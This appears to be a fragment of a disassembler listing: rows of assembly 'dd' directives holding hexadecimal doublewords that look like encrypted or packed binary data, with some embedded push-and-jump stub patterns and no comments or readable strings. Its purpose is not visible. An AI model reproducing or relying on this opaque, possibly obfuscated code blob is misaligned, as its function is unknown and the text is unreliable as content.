		dd 2F742780h, 0DDFE9FC3h, 8431C1E3h, 79103h, 0A0B3A700h
		dd 0C53E7E33h, 0CCD6305Ch, 9F5AC3Eh, 8B384F8Eh,	35C78F19h
		dd 0A13CAA4Bh, 5864F2D1h, 0CAEE4AF9h, 178E5620h, 286D53BBh
		dd 0FCBCF58Fh, 0DC286D53h, 0E1E34339h, 0FEBEF3ADh, 16286D53h
		dd 7F32FE8Ch, 0A0D16BFCh, 2FC62E1Dh, 86F61975h,	6F4523BEh
		dd 4A9648D0h, 0C48B26B4h, 0C03C3953h, 0D0C5B0Ch, 0A14A0000h
		dd 5EF25ED7h, 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h
		dd 2EC7B558h, 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h
		dd 0C9286D86h, 0EE78CDB3h, 5CC4F3B3h, 9CB11D30h, 0E87E04D8h
		dd 0F4869400h, 0EC8EAC28h, 1E58F25Ah, 3874BCC6h, 61B25BBDh
		dd 8430DC9Fh, 6D1DFh, 209FEB00h, 0C7305CC5h, 9F29C354h
		dd 0C50C8C05h, 9E04305Ch, 9C601A3Eh, 545B2A06h,	38384F8Eh
		dd 3F07859Ch, 7056A3A2h
		dd 0B44A4348h, 0B37FFD10h, 9B43D5CFh, 0C26E0771h, 0AA287828h
		dd 20BA485Ah, 2D9B1B96h, 65BD286Dh, 9851FE7h, 79A79C9Ch
		dd 61F7F4EDh, 95805589h, 86396802h, 562FC64Ch, 4AB0C4BFh
		dd 843B5757h, 52EBB920h, 0B115E27Dh, 7F05D99Bh,	5CD5CFB3h
		dd 3C39CBEFh, 2F1EB18Dh, 9700000Ch, 0DF79F484h,	0AC413Bh
		dd 0B7E18CEEh, 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h
		dd 82FA1DBFh, 0C9AB41F3h, 2A674324h, 286D866Ah,	4A3290AAh
		dd 0AAF1D1A0h, 914881A4h, 85972303h, 2C502BFBh,	0C7B15B8Dh
		dd 812B952Eh, 0A04B8431h, 1F000001h, 44D6A04Ah,	0E43C8898h
		dd 76049E66h, 0FC5866BAh, 0E0D41C5Eh, 0D285284Ah, 4B46D047h
		dd 37B5AC2Ch, 90EA0E6Ah, 67432202h, 1D2873ADh, 398B48F1h
		dd 0FE8C19F4h, 0C8B93F56h, 2873B4C8h, 6CC45A48h, 3B31h
		dd 0A0B39100h, 1339A537h, 2FBD3F57h, 2DACE5C3h,	9F37B5ABh
		dd 15990006h, 1E967DBh,	0E1FF475Dh, 915A5A57h, 0E8BA2873h
		dd 91654100h, 0F71B2873h, 143B8556h, 0EBBB8C1Ah, 0F000000h
		dd 773BDC78h, 3D479FE1h, 0E54D57AFh, 0CF591B31h, 0A189F307h
		dd 0C8AC410Dh, 0C0B25874h, 0D9C8627Ch, 305CC4D9h, 1581693Bh
		dd 89F87507h, 305C992Fh, 0C2BA5F07h, 0CEA84276h, 0A12DC727h
		dd 0FBBBEE8Eh, 0EF305C98h, 5C98F2B2h, 0C802230h, 58223696h
		dd 7F32FE84h, 3C006CFCh, 0FA35EF15h, 0C9E8E9FBh, 0B54BD909h
		dd 0EB95BB23h, 470F990Fh, 6362CE4Eh, 37B0208Ah,	60EC7E24h
		dd 0AA06AFCDh, 0DF80F287h, 0FE9DEB95h, 76402353h, 0D46AF8F3h
		dd 0D7EFA5Dh, 154A9A34h, 0AC6h,	0E08DEF0Ch, 5BDAA0B4h
		dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh
		dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6D840181h,	8BF91328h
		dd 43D5A74Ah, 3A0A8A9Bh, 77F52CA8h, 0D0DD15AFh,	16688E56h
		dd 0C58D0D84h, 1D87305Ch, 294BE1D5h, 0EE783E84h, 5CC4F3B3h
		dd 3547D530h, 0E9BBDBE9h, 0EF9A2E5Ch, 0E8405F7Eh, 0D67A2ECCh
		dd 9B2492A3h, 19AF4F7Dh, 0A12DBB8Bh, 8D17EF8Dh,	99DB71A5h
		dd 460A314h, 0B3C30000h, 0ECA537A0h, 37B5B089h,	0DA4B9B09h
		dd 2873B0FEh, 62BF5EE2h, 8C19F4A2h, 1E7DCh, 0B1AC200h
		dd 9F63A189h, 305CC51Ah, 2BBD2AC5h, 5ED8FA3h, 8DBDEEA3h
		dd 3371384Fh, 0B3470F99h, 0B55975C9h, 0DDF931C7h, 4B03D3Fh
		dd 0E5B884F6h, 834BDD4Ah, 6B112492h, 9DDF71D5h,	6B5E5355h
		dd 0CB2FC67Bh, 0A63048EFh, 847AABEBh, 0A93F6520h, 397D9F00h
		dd 36A9A53Ch, 9C6h, 0E08DEF0Ch,	5BDAA0B4h, 882557F9h, 0FF76F42Ch
		dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh,	1C3E9A1Bh
		dd 0F0AAD362h, 6D830181h, 8BF91328h, 0ED6A04Ah,	76CEA842h
		dd 76B25BA5h, 0F288ACE4h, 68029012h, 0C4E3A3DEh, 772D305Ch
		dd 338D36BBh, 0B38430E0h, 134h,	0F484AB33h, 0A04A8E3Ch
		dd 0A8420ED6h, 0E10C27CEh, 824AE476h, 0B133136Dh, 0ABE98879h
		dd 8B5337B5h, 0BBC91567h, 8711937Fh, 0E9413BDFh, 8DA32BB5h
		dd 0F94537C5h, 0FB8955EBh, 0AC724E3Fh, 0EA162873h, 0F52E9643h
		dd 3B488C19h, 1A000000h, 0A537A0B3h, 0B5AAEDECh, 9FF75F37h
		dd 0A579FB2Bh, 2ACD891Fh, 38F0F252h, 0E8F64E54h, 53B3C96Ch
		dd 0CCE89951h, 0B02873A9h, 0D42CED8Ch, 598C19FAh, 0CB27A5FDh
		dd 9896h, 0A04A2C00h, 0AF420ED6h, 0ACA23BCDh, 828261BEh
		dd 48045890h, 400CD0A2h, 0A73EC8AAh, 0B30F2806h, 6875BD6Ah
		dd 5C7E8F19h, 0D5A7B530h, 7DEA0558h, 0AA5DB6EBh, 11AB37AFh
		dd 6FAA2060h, 7284F028h, 18AE3408h, 0E4762CD0h,	0EA7D578h
		dd 44ED8FA2h, 340C2CE5h, 8F487FF7h, 37000008h, 7FD95424h
		dd 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh, 72EA8BF1h,	4430C5B5h
		dd 96160FA9h, 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 286D81CAh
		dd 4A52304Ah, 9B43D5A7h, 0A72A0676h, 1895E775h,	7EED78AAh
		dd 0E3813B26h, 0D973A793h, 0E10B479Fh, 5BA91E97h, 0F9000002h
		dd 0A537A0B3h, 4F8C45ECh, 0FD7CD38h, 6D8D3A96h,	7B222E28h
		dd 2018665Eh, 211808Ch,	9F220000h, 305CC51Ah, 0CEB0460Eh
		dd 0E9846C76h, 3749EF4Eh, 0BB9A17A1h, 5B384F8Ch, 517BF49h
		dd 0BC5EFA7Bh, 0C96462C2h, 3EB623A3h, 9240C73h,	0B2EF79EEh
		dd 2FC66AFFh, 6FC46D37h, 4D3C396Dh, 7D8DEF1h, 0DD7E0000h
		dd 92A612A3h, 45EB45E8h, 61EBA3Bh, 0AA4FE984h, 6CCD23D2h
		dd 0E293E90Ch, 50DD5FB6h, 842953E4h, 0FD700228h, 13930E98h
		dd 0FD286D81h, 0A04A99CFh, 0C4DFDFD2h, 7331305Ch, 0A7B501DDh
		dd 8B9B43D5h, 3E8D2109h, 5FFD37D6h, 0D133901Dh,	668430DFh
		dd 0D925A7FEh, 0DD215BFDh, 72A431C7h, 334C9B5Bh, 64DF12DEh
		dd 0EB000001h, 0DFD2A04Ah, 305CC4DFh, 0C5B74531h, 4F17A137h
		dd 4672D2AAh, 6C76CEB0h, 0F2DE12DEh, 17971E58h,	0C584047Dh
		dd 168C305Ch, 831407DAh, 0CCC55FE9h, 305CC4CCh,	0F3925E44h
		dd 37B5AB94h, 0A55CA002h, 2873AC09h, 0D02C4CE3h, 0D82456E4h
		dd 70822B2Dh, 74A544C8h, 8C19F58Ch, 25EAh, 0A0B3F800h
		dd 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh,	3BA353FAh
		dd 28169EBh, 8C19FAC2h,	0C43Ch,	0A04A8600h, 0D4700ED6h
		dd 0C6F23EBCh, 0A3DD7F33h, 0FAB74143h, 305CC4BAh, 6ABA485Ah
		dd 52B2CC6Eh, 0BAAD466h, 5D4B427Ch, 77A1430h, 305C4B87h
		dd 0FBDF1B89h, 0DB8E2751h, 1056F958h, 59EF7DFFh, 0E69B35CFh
		dd 305C4AA6h, 0DFC346Eh, 37B076F4h, 8A52E4BEh, 3C981567h
		dd 4BD66319h, 49340D78h, 688C2F5h, 2DCE0000h, 0E276A253h
		dd 95BB1598h, 0B6EE4AEBh, 0FA1FB934h, 0BC7DF382h, 0B24339DCh
		dd 0E08D0F06h, 54D9A3B4h, 8D2052F8h, 0C3C3BEE8h, 4D286D7Fh
		dd 0DC78493Fh, 0E0FE46C4h, 5CC4F1B1h, 0F3812330h, 0FA7E9307h
		dd 5CC50787h, 59B0930h,	3F56FE68h, 0CE16668Bh, 0C4DE26B4h
		dd 0E6A2486Ch, 1B9A2852h, 66EE78AFh, 0BDFDAC2Eh, 9F305CC4h
		dd 1B890587h, 2751FBDFh, 1F59F3DFh, 2C2196h, 4A410000h
		dd 420ED6A0h, 2BA9F8A8h, 0EB3BC9DBh, 53A34AEEh,	0CF17618Bh
		dd 0B3597DB5h, 1C9B2CC1h, 0F000000h, 0C57C3C75h, 0E94305Ch
		dd 0A04AE022h, 3C970ED6h, 6305CC5h, 8BA1630Ah, 4AFE44E9h
		dd 0BB0ED6A0h, 0E49D2FB8h, 384F8C39h, 9531CBD9h, 0DC78F587h
		dd 0E6E03C3Eh, 0EDA4DA7Eh, 286D8CADh, 43AF3D67h, 0D2283AEh
		dd 8D7A3A77h, 89A286Dh,	8A18AA7Ah, 74CF66F0h, 20B4F98Eh
		dd 0ADB3529Eh, 19305FD4h, 0D492128Fh, 2082207Dh, 0EC7E24C8h
		dd 0C9C9B852h, 4B207DD3h, 0D464245Dh, 0F6AC207Dh, 0E2C8860h
		dd 0D4793968h, 99B207Dh, 0E06CFA7Bh, 0D7D232B0h, 334F1246h
		dd 43AF3D75h, 6BBBC557h, 143A9B96h, 7A089A6Ah, 87B6B1E0h
		dd 0A6FC27D7h, 260AFA0Bh, 154A9A24h, 532h, 74F97B90h, 0AF4634D8h
		dd 1C91EB0Dh, 53E260B0h, 85284CE1h, 93A61217h, 0B9E844E9h
		dd 0F91EBA3Bh, 0A842EE87h, 643E27CEh, 6D7F6D2Dh, 3795A728h
		dd 0AD2A04Ah, 384A9AE4h, 5CC54949h, 8CEC0330h, 406232B0h
		dd 7B9103B2h, 339B25F9h, 183631Dh, 0D6F8D29h, 731A7A31h
		dd 54D99BB1h, 30E015EFh, 9DB21A84h, 0A7D17BE3h,	40164Bh
		dd 0B3AC0000h, 0BA537A0h, 67D3AD43h, 0B2786C66h, 0C8624037h
		dd 791EB0Ch, 68C0B85Fh,	779C1E65h, 92B82873h, 78BF56E0h
		dd 18C5ED73h, 3A961BD7h, 0D9B6B15h, 0CB46C270h,	0EA46B134h
		dd 485D5h, 0A04A6D00h, 0A8420ED6h, 0C4D7D7CAh, 51C0305Ch
		dd 4CD1E6A6h, 41D7CDC1h, 0E97EF9ACh, 1743225Fh,	515337B5h
		dd 17B8148Dh, 9DB02873h, 0A44B07DFh, 7B9D08D4h,	94B820D2h
		dd 88DC24F5h, 611A8C1Ah, 0A8000000h, 0A537A0B3h, 0B560A008h
		dd 0AC4081A4h, 0F3AE38CEh, 305C69B3h, 0FDEB475Dh, 0B5504584h
		dd 0F62FB737h, 0C8D6BA76h, 734FD9D9h, 0DB693B28h, 503E9A0Bh
		dd 183E2873h, 0E3329E66h, 506C2C65h, 0FEA42873h, 17399468h
		dd 30DC8476h, 55784889h, 11BD8C1Ah, 0EEE97C00h,	2494B354h
		dd 0ED77AA86h, 53000000h, 0ED1A04Ah, 0FDCE03CEh, 0D0D5D5CCh
		dd 653F305Bh, 0E3FD41D7h, 4EAA2A7Bh, 9283C76Ah,	72863212h
		dd 52E47A08h, 0E8CD7DBBh, 0AD29C819h, 952FF775h, 0A7B5015Dh
		dd 0D62E4EE3h, 9B1908CCh, 5BAB394Bh, 12A3DD7Fh,	5CAE4973h
		dd 93ED0F30h, 36D884E2h, 62EAF844h, 5250ACCEh, 5E1832E6h
		dd 8DEF00CCh, 0E67F09A5h, 937905ACh, 0F4A98102h, 0C25CEE79h
		dd 0E9397928h, 0C9DB305Bh, 0C8516061h, 0C3E137B4h, 6BFC7F32h
		dd 0F051A0D1h, 339B2FC6h, 0EF935F19h, 96BB23B5h, 46DF4FE6h
		dd 146BF0FEh, 0EECA268Bh, 41B8314Bh, 633C3452h,	334FCD3h
		dd 79920000h, 36DA76FFh, 0E90FA944h, 62B21E97h,	4EE34DE0h
		dd 1029872Eh, 46EF8DA0h, 0B439BBEAh, 0E885F718h, 21CCAE4Ch
		dd 6F2F623Ch, 0A1286D7Dh, 0A74A356Bh, 8B9B43D5h, 70DC2109h
		dd 0AD1598DAh, 0F3B3EE78h, 1D305CC4h, 7BF6AB87h, 0A8275AECh
		dd 0EE37B5ABh, 1DB968B4h, 0C32873ABh, 837D9E3Fh, 0E38C19FAh
		dd 105h, 0A92B7BE3h, 21E34F55h,	0B1E0A04Ah, 43D1D333h
		dd 3A42D7E3h, 4F42DCEAh, 305CC54Fh, 7617E3C1h, 305CC04Ch
		dd 690E208h, 6B01A26Fh,	76C24CF0h, 5123C96Bh, 86162EC7h
		dd 81FCB723h, 0B5A075A9h, 64FE8822h, 5C276D2Dh,	2CFAA730h
		dd 8B7F31C9h, 0E0B647D5h, 26E3583h, 469574BCh, 1637B4CCh
		dd 8D4564Eh, 0E6D2BE7Ah, 0C9E2CAEh, 62CEAC40h, 0BE29C49Fh
		dd 46FB922Ch, 32D857DDh, 0D98F7EBAh, 0D72FC703h, 7E933BCDh
		dd 40787FAh, 9B092087h,	29CC6805h, 3B273254h, 35CB1B59h
		dd 34D65FBCh, 0CEE17D3Ch, 226h,	40ED8FACh, 0BB3A40D4h
		dd 0E885F719h, 5FD6544Ch, 911C58FDh, 9FB21E1Bh,	0ADE450DDh
		dd 52A862Fh, 0BC5EFA7Bh, 504A33C2h, 6D7C6121h, 2B99B328h
		dd 58D5A74Ah, 86A834CEh, 0E79A28F4h, 305CC4A7h,	0DBFF3B69h
		dd 0A3217131h, 19B34143h, 0A599908Ch, 238CC599h, 92D4342Dh
		dd 9518D066h, 0C5DC782Dh, 2DCFEB47h, 35C7F353h,	215B14Bh
		dd 0D018AA7Ah, 60F551CDh, 1BDC814h, 817F14D3h, 8531F98Fh
		dd 64390577h, 0D5CC5EC9h, 37B5629Ah, 595948E2h,	0BB287363h
		dd 0F945C7DFh, 0F19D55EBh, 0B69061B4h, 0A634B5E6h, 0C35D295Eh
		dd 739FCECEh, 29584628h, 2873A069h, 8F6BF9ABh, 0EC0EBA63h
		dd 0AD48E392h, 8EF1A03Ah, 42FCC79h, 3B36D699h, 6EFCB612h
		dd 554C0896h, 9DBF1BD7h, 958D49E3h, 7DB5CF17h, 63FA9421h
		dd 21D55AC0h, 9BC73340h, 0BB2CCFF2h, 50D7021h, 1F8527E3h
		dd 66103A96h, 0AC75009Eh, 5421794Ch, 3CD3C733h,	898FE03Ch
		dd 631624E0h, 1018BA1Dh, 0C16C02BBh, 4031CB65h,	18A14640h
		dd 0DFDFD2D0h, 3118A145h, 4FEA8773h, 7DB74ED8h,	0AD04D0E2h
		dd 2AC4220Eh, 0D71C4193h, 0A0FEDADAh, 0DD683A18h, 4A129500h
		dd 740ED6A0h, 6F92CDBCh, 82201FFAh, 7E0416A2h, 493842D6h
		dd 10B87049h, 0FB4BD9CBh, 0D6D98084h, 0A03ACC5Bh, 976FED24h
		dd 2924250Dh, 73181168h, 81304CD9h, 80399245h, 0CEF19111h
		dd 0C9218308h, 86067B25h, 8E08CEF1h, 7FEF8614h,	0BF34EAE6h
		dd 0FD8F8F85h, 0CF610484h, 5A960C08h, 69039487h, 689146DFh
		dd 0BDBA5B7h, 0FFF0EC79h, 0D59776C2h, 4110C24Fh, 4FBAFAB7h
		dd 485A00E0h, 5EA6FCE0h, 179ED872h, 19E597A5h, 637C4B68h
		dd 0E6702E52h, 617BEBABh, 0B37F258Fh, 8C48AE4Fh, 0B7CD116Bh
		dd 0C3BD5F7Bh, 0A748632h, 4869E3Ah, 3A44EA72h, 0DC10D8EAh
		dd 0C71F5DF0h, 0C915678Bh, 7C1688Ch, 6F98FF1h, 379F6706h
		dd 21955DDFh, 0C1BB5F0Bh, 4168233h, 335AA7Ah, 4D000000h
		dd 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 1295h, 53240C89h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 4895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 241C895Ch, 4A586852h, 0F75A20D5h, 0B9514ADAh, 0B5879EEh
		dd 8159CA21h, 0E70995F2h, 5AD0890Ch, 0A6368h, 24248900h
		dd 4240481h, 5B000000h,	242C8150h, 6A76B9Fh, 8108438Fh
		dd 6B9F0843h, 34FF06A7h, 0C4815B24h, 4,	582434FFh, 0E904C483h
		dd 0FFFA2F0Eh, 845E4669h, 715C6AC5h, 4C31B891h,	0C50307EFh
		dd 0C076E0FFh, 914A42E5h, 0EB3C30C1h, 701D7E5Bh, 61110BA0h
		dd 0E72B74A2h, 0AF757884h, 0B0C85016h, 7DEC4BB9h, 0CAB75F5Ch
		dd 56A85FAAh, 0E3D2495Ah, 46291246h, 0D0C43140h, 0A4A14DF1h
		dd 0E8940DB7h, 394C77B3h, 801D11E8h, 91E14B0Bh,	281479E9h
		dd 83E944CCh, 7B000000h, 47654E99h, 0F3BAF5CCh,	0D666D138h
		dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch
		dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh,	0E3729EBDh
		dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h,	0B594A19Eh
		dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh
		dd 0BBEFB600h, 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h
		dd 527155h, 0C20DA437h,	0E0910D3h, 0
		dd 6FE90000h, 68000010h, 7EF4F5Dh, 0FA2E15E9h, 501E68FFh
		dd 0BE907EFh, 68FFFA2Eh, 7EF511Dh, 0FA2E01E9h, 525168FFh
		dd 0F7E907EFh, 68FFFA2Dh, 7EF52DDh, 0FA2DEDE9h,	53A868FFh
		dd 0E3E907EFh, 68FFFA2Dh, 7EF544Dh, 0FA2DD9E9h,	54DE68FFh
		dd 0CFE907EFh, 68FFFA2Dh, 7EF55C6h, 0FA2DC5E9h,	569568FFh
		dd 0BBE907EFh, 68FFFA2Dh, 7EF5791h, 0FA2DB1E9h,	58EB68FFh
		dd 0A7E907EFh, 68FFFA2Dh, 7EF5B62h, 0FA2D9DE9h,	5C6368FFh
		dd 93E907EFh, 7BFFFA2Dh, 0A30DA0D0h, 0D440ED8Fh, 1BB53842h
		dd 48E4890Bh, 0CE5ED7A5h, 90E40969h, 0E262B31Dh, 2E4EE153h
		dd 75071587h, 960B97F8h, 286D7716h, 20BACCFEh, 6D773171h
		dd 69C1E328h, 0D6A04A5Bh, 6749844h, 30DAF62Ah, 0C54F4F42h
		dd 0E3C1305Ch, 628DA04Dh, 4F2E63F5h, 4737B5ACh,	1303CB5Dh
		dd 0FB374D91h, 128F19A7h, 2873AC92h, 0ED6A04Ah,	0AE8A1874h
		dd 73AC03DFh, 0B455F928h, 19F59D67h, 44D98Ch, 33CD0000h
		dd 73B43E7Eh, 87F91E28h, 3B6925BFh, 0A0B3CDFFh,	4808A537h
		dd 9CC35D31h, 0DB2B55E7h, 0E9FF3BC9h, 0B55D39B8h, 0FB4B5937h
		dd 735DAE0Ah, 0FAE5228h, 0B7C96FF7h, 2E9D556Fh,	8C1A47D6h
		dd 9F10h, 0ED78B200h, 556E14ABh, 298D652Eh, 21AD7103h
		dd 76DE680Ch, 0A67198E1h, 68A5BAA6h, 0B0780ADAh, 8EBA507Ch
		dd 0A07C126Ch, 0AD420614h, 0D1B03DD3h, 305C42E8h, 872E48E2h
		dd 0A9750715h, 3CCE59D4h, 0B5317245h, 53E2C037h, 0F08A1D18h
		dd 0C758B381h, 31CBD92Fh, 79F48095h, 0B7423ADFh, 3C34B1CEh
		dd 8497EF6h, 1700000Eh,	5FF97404h, 802CC1BBh, 37610C6Eh
		dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h,	27A9D3Fh
		dd 492BC173h, 0AAE7C3A4h, 286D75EAh, 4AB2102Ah,	0FC58D5A7h
		dd 31911C5Eh, 0A537A0B3h, 0B5AAEDECh, 27FFA537h, 60E43D99h
		dd 0A9DDF988h, 7F832873h, 0AA8D18DEh, 13ACAFB5h, 0B709BA76h
		dd 378C1AACh, 0A3h, 0D6A04A93h,	0CDAF420Eh, 0A4DD7771h
		dd 305CC4E4h, 41D6762Ch, 0A912F33Fh, 0AD305CBFh, 0D440ED8Fh
		dd 15E83446h, 86FB8D1Ah, 37B5AE33h, 0FA829703h,	6B0A982Ah
		dd 18B22530h, 0C7D91269h, 6802A02Fh, 993349ECh,	5F1B5E0Ch
		dd 0EA46585Ch, 0D4A0B5E7h, 35CF365Dh, 299E563Ch, 0D47h
		dd 38B5C754h, 7302789Ch, 0A04D2FC1h, 179E1C74h,	49E490A5h
		dd 0D77A56D3h, 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah
		dd 6D752969h, 0F3D1EB28h, 47C5DC78h, 0A90DE5FFh, 0D37DF084h
		dd 2D983839h, 0C30FB18Dh, 4A02802Dh, 2D4FE0A0h,	0E13DD3D1h
		dd 54544DE7h, 0BC305CC5h, 8CAE0AE6h, 49E343F2h,	9C0D6F8Dh
		dd 305CC51Ch, 9C601A3Ch, 0A5138E06h, 0B9B27079h, 0F6220E9Ch
		dd 0F18C1E60h, 70D669C3h, 0FA3602DBh, 0E0743CDEh, 0FD69049Ah
		dd 63C34151h, 0A26C2C65h, 0FEA4305Ch, 62618068h, 0BC4ED954h
		dd 0A67EFC10h, 0DFD2D41Ch, 37B57C2Ch, 0A2FC188Ah, 8F6B153Ah
		dd 0E949E3FEh, 60F762FFh, 7E903CD6h, 665534FCh,	0CC384249h
		dd 0B8BB0ED6h, 6BE49D2Fh, 0BD3054A8h, 0B7CA7E20h, 38F0521Eh
		dd 10BC4E54h, 8A0A8701h, 8A21133Dh, 38AE8A18h, 71FC7E9Ch
		dd 0AE4B35C7h, 3CA855FDh, 48AC03D3h, 5700000Ch,	9F39B4C4h
		dd 0C06C017Bh, 77A14C2Eh, 0A4109D1Fh, 0D24AEB91h, 0A4D06555h
		dd 0F676AF09h, 423ADD7Fh, 89EB01B3h, 6A2783E4h,	286D742Ah
		dd 4AF2D0EAh, 0BB0ED6A0h, 0E49D2FB8h, 37B59EE1h, 0CF59F3B1h
		dd 739DD2D2h, 0E4604228h, 0CDD72FADh, 2AC59865h, 35912BBDh
		dd 0FE8458DCh, 70905332h, 9B062FCCh, 0DA6091B5h, 0B446D401h
		dd 0D37BF928h, 0E0E242C2h, 912DD408h, 772089EAh, 0FF122CBh
		dd 6F9403BBh, 53h, 37A0B37Bh, 77F2ECA5h, 984437B2h, 60E23276h
		dd 0AC70069Ch, 6C36DA16h, 291E43DAh, 0A4937A1Fh, 906C0E20h
		dd 4C02612h, 9DE489F3h,	28737C1Bh, 0C2571339h, 0CA586ABAh
		dd 4FB9A530h, 0C2A9F06Ch, 26C96B76h, 78D98E56h,	4D00000Bh
		dd 370F6D81h, 0B34745ADh, 0ECA537A0h, 384C763Ah, 0B21AACF6h
		dd 0E557DE98h, 0CFD92557h, 1BCA0E36h, 88156D00h, 2D039A00h
		dd 2EC32F37h, 8F029403h, 305CB314h, 0DAA4B622h,	0B3EE780Ah
		dd 207DB2F3h, 67F1871Dh, 92235DFFh, 9A6A1426h, 29C354C7h
		dd 0D69AFD78h, 42EFB527h, 2429F737h, 141EB18Dh,	1B00000Bh
		dd 43ED80F0h, 0F420CDAFh, 3B951862h, 68C469EBh,	0AE3EB7C5h
		dd 70042989h, 0C24253FDh, 0E6E8133h, 55273567h,	0B6EBB7D8h
		dd 286D72F6h, 9FBEEC1Eh, 305CC543h, 34C651DCh, 4C789A7Dh
		dd 849CF838h, 4CE67006h, 20086A80h, 0F22266F4h,	0D353E270h
		dd 0E29FE50Bh, 286D77A2h, 0BA23072h, 0EA031AFAh, 0A80CE4C2h
		dd 592CF082h, 17BF49DEh, 35B37F01h, 0C604797Ch,	128F192Fh
		dd 20840392h, 0E7922082h, 3C391F56h, 88F1E67Eh,	9700000Ah
		dd 0DF79F484h, 0AC413Bh, 0B7E18CEEh, 0E450DD5Fh, 128A2B51h
		dd 0E490A515h, 36B6EF49h, 82FA1DBFh, 0C9AB41F3h, 2A674324h
		dd 286D736Ah, 4A3290AAh, 420ED6A0h, 2BA9F8A8h, 0C82C4995h
		dd 0DC10F021h, 0FA6E8430h, 50000004h, 0CCCBCBC6h, 5F45305Ch
		dd 265011CEh, 220EE21Ch, 37A0B3E0h, 781DECA5h, 0E76F384Ch
		dd 1DC12953h, 0F8B8E983h, 18286D76h, 7697178Ah,	0E83286Dh
		dd 286D778Eh, 32701C86h, 66F486AAh, 90E208D4h, 0DF99B31Dh
		dd 77429E07h, 7D08286Dh, 0A869A96Ch, 83037E11h,	8D286CF9h
		dd 9FF48117h, 0DBC5A88Bh, 2DC8E54Dh, 0FF9620BAh, 2A389655h
		dd 0DFC3463h, 2FC668CAh, 0F05FDAC8h, 8C3C3980h,	9BD1FB0h
		dd 49E20000h, 62A862Fh,	0B95FF974h, 92822EC7h, 1E339D10h
		dd 0E059D75Eh, 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch
		dd 9F1F920Ch, 71286D71h, 0A04A655Bh, 769844D6h,	0C4F02C04h
		dd 0FDF84436h, 2FADE561h, 0DDFE9FC3h, 8430DBE3h, 42803h
		dd 34DB8300h, 9FDEEC44h, 305CC543h, 34C651DCh, 5E18329Ah
		dd 5534FC86h, 384C76ECh, 50EA7C26h, 6D786121h, 39F1B328h
		dd 6B1527AFh, 0B2CC6ECAh, 98885452h, 0C5BCCA1Ah, 286D77C5h
		dd 6BC7554Fh, 9A2CBBB6h, 0C651E4E7h, 79F0B22Fh,	3C39A9C0h
		dd 187B6CE0h, 7000009h,	4FE984F4h, 0F05CD1ABh, 27911C5Eh
		dd 54C06DEFh, 0A23ABBC1h, 74001585h, 0C6465FF9h, 126A8D2Fh
		dd 591B3163h, 0BAF7B3D4h, 286D70FAh, 4A82E01Ah,	420ED6A0h
		dd 7B76CEA8h, 618A52EBh, 0E68ADC8Fh, 0BF47E60Ah, 0D97DFF17h
		dd 0DBE84034h, 84313BE9h, 37C05h, 199F5D00h, 0C6305CC5h
		dd 772ABC2Bh, 384C76E7h, 5C15B49h, 4CE885F7h, 0BD70CCAEh
		dd 0F99325B2h, 69C1BB5Dh, 0C6652598h, 366FF72Fh, 0C967AB6h
		dd 39BD3A65h, 550ADA3Ch, 887h, 78F58794h, 0B34238DCh, 0E08DEF01h
		dd 57DE5CB4h, 892450E5h, 97BA1613h, 0B5EC48E5h,	0FD12BE37h
		dd 0B446F283h, 58422BCAh, 6D716929h, 3391AB28h,	44D6A04Ah
		dd 3A0A8898h, 0A02C40A8h, 0B814E88Ah, 0BD19E597h, 0D578DC98h
		dd 23038191h, 483313A1h, 2E758524h, 17BF47E6h, 1BBF7B05h
		dd 55EE87F1h, 8430E06Bh, 78Bh, 0D251DF00h, 0F1000002h
		dd 5CC5199Fh, 3E730D30h, 305CC57Eh, 77A0C96h, 305CC587h
		dd 2DF1B89h, 0BBF68017h, 384C76A2h, 354BEE76h, 6D773C7Ch
		dd 38CED428h, 4960CF0h,	0E1A1D06Ah, 33286D76h, 96BCE471h
		dd 21C91369h, 2D4FEDC9h, 5E1E339Bh, 0A934FC86h,	0B393ED0Fh
		dd 52E473FEh, 0C6216C5Fh, 0EBA6302Fh, 208420ABh, 1CBBFB9Ch
		dd 0C6CE6F4Ch, 3A6814DCh, 39D436BFh, 81360E3Ch,	79Fh, 600D6F8Ch
		dd 0DB5A2034h, 8A5D779h, 7FF674ACh, 0B13C38DDh,	7F92FE3Bh
		dd 0CDC470FDh, 0E50AA64Fh, 9CBE1A9Bh, 702A53E2h, 6D708101h
		dd 0B799328h, 0ED6A04Ah, 0DA7EE670h, 0C4B1F1A0h, 4163305Ch
		dd 4D2FCDE9h, 33DA3AF1h, 94195BF1h, 30DFD52Fh, 0D1C05A84h
		dd 305CD0D1h, 9E346643h, 228D10E1h, 709A48Ch, 59000000h
		dd 1EC51h, 1A9FF100h, 0C5305CC5h, 762BBD2Ah, 384C76B4h
		dd 0FDB44E58h, 286D77BDh, 5C5C4D57h, 0B4286D78h, 6CE58EEh
		dd 7BEB8AF4h, 1B0B3FD3h, 0A93F4599h, 0B5C75541h, 0E999469h
		dd 8C48E27Ch, 0B7CD116Bh, 6D77C2C2h, 0C6505228h, 6D77CBCBh
		dd 935F4528h, 0C664BFF2h, 842D772Fh, 3C39BD2Dh,	0D080370Fh
		dd 0DF000006h, 7B13C3Ch, 48E489F3h, 0FF59D4A6h,	2C8825A7h
